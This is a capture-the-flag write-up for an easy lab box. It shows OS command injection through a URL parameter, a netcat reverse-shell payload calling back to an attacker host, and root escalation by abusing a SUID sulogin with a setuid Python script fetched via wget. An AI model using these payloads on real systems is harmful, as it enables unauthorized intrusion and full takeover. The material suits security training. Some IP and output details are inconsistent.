URLLink 🔗
LevelEasy
Attacker IP10.10.10.10
Target IP10.10.10.8
Target domainhttp://locker.local

Intro#

Today I will inject query parameters to obtain an RCE. I will follow that with escalating privileges by abusing SUID-enabled binary to pwn the target.

Enumeration#

Nmap#

rustscan -a locker.local
Open 10.10.10.8:80
[~] Starting Script(s)
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-07 15:42 EST

PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack

The network scan revealed that there was only the http server running on the target box. Visiting http://locker.local/404 confirmed it’s nginx v1.14.2.

HTTP#

The web server hosted a poorly made website about lockers.

I tried to bruteforce the web server with feroxbuster, but I didn’t find anything but locker.php.

The Model 1 link directed to http://locker.local/locker.php?image=1. Immediately I followed the query param with subsequent numbers obtaining 3 downloadable images this way.

The important details was that the images were embedded in base64-encoded form, which meant there could be an encoder used before rendering the image.

For starters, I saved them as image1.webp, image2.jpeg and image3.jpeg and checked them with exiftool and strings, but I didn’t find anything.

Exif metadata#

exiftool image3.jpeg
Comment                         : RGVsaXZlcmVkIGJ5IEdmSyBFdGlsaXpl
echo "RGVsaXZlcmVkIGJ5IEdmSyBFdGlsaXpl" | base64 -d 
Delivered by GfK Etilize 

GfK Etilize is an e-commerce platform, probably irrelevant for this challenge.

The next thing I’ve tried was to inject OS commands.

OS Command Injection#

Since there could be a base64-encoder in place, I tried to inject commands directly at first (?image=id), then with ?image=1;id. Ultimately appending the ; afterwards worked nice. The RCE has been found.

Let’s try to make some use of it.

Exploitation#

First, I wanted to establish the reverse shell. This was pretty easy. I started nc listener and hit the target with the reverse-shell payload.

nc -lvp 4567
listening on [any] 4567 ...

# after making a request
connect to [10.10.10.2] from locker.local [10.10.10.8] 33572
pwd
/var/www/html
GET /locker.php?image=1;nc+-e+/bin/bash+10.10.10.2+4567; HTTP/1.1
# ...

Then I’ve checked the potential usernames:

ls /home
tolocker

ls /home/tolocker
flag.sh  user.txt

I thought of escalating privileges to tolocker. But I escalated vertically in the end.

Priv Esc#

I looked up the suid-enabled binaries:

find / -perm -u=s -type f 2>/dev/null; find / -perm -4000 -o- -perm -2000 -o- -perm -6000

/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/sbin/sulogin
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/mount
/usr/bin/su
find: unknown predicate `-o-'

sulogin looked uncommon, but it didn’t do much out of the box:

Cannot open access to console, the root account is locked.
See sulogin(8) man page for more details.

Press Enter to continue.

From the manpage I derived sulogin is used for single-user login, and that:

If the root account is locked and --force is specified, no password is required. […] sulogin looks for the environment variable SUSHELL or sushell to determine what shell to start.

Given that sulogin had a SUID bit set, I figured it should be possible to write a script setting UID and GID to roots then spawn a shell with elevated privileges.

I wrote a simple python script:

#!/bin/python3

import os

os.setuid(0)
os.setgid(0)
print("UID and GID set")

os.system('/bin/bash')

print("This shall not print.")

Then transferred it to /tmp on the target machine and used with sulogin:

cd /tmp
wget http://10.10.10.2/python_setuid.py
chmod +x ./python_setuid.py
export SUSHELL=/tmp/python_setuid.py
/usr/sbin/sulogin -e

Press Enter for maintenance
(or press Control-D to continue): # press Enter
root@locker:~# Hello, world!

Pwned#

cat /home/tolocker/user.txt
<redacted> 

cat /root/root.txt
<redacted>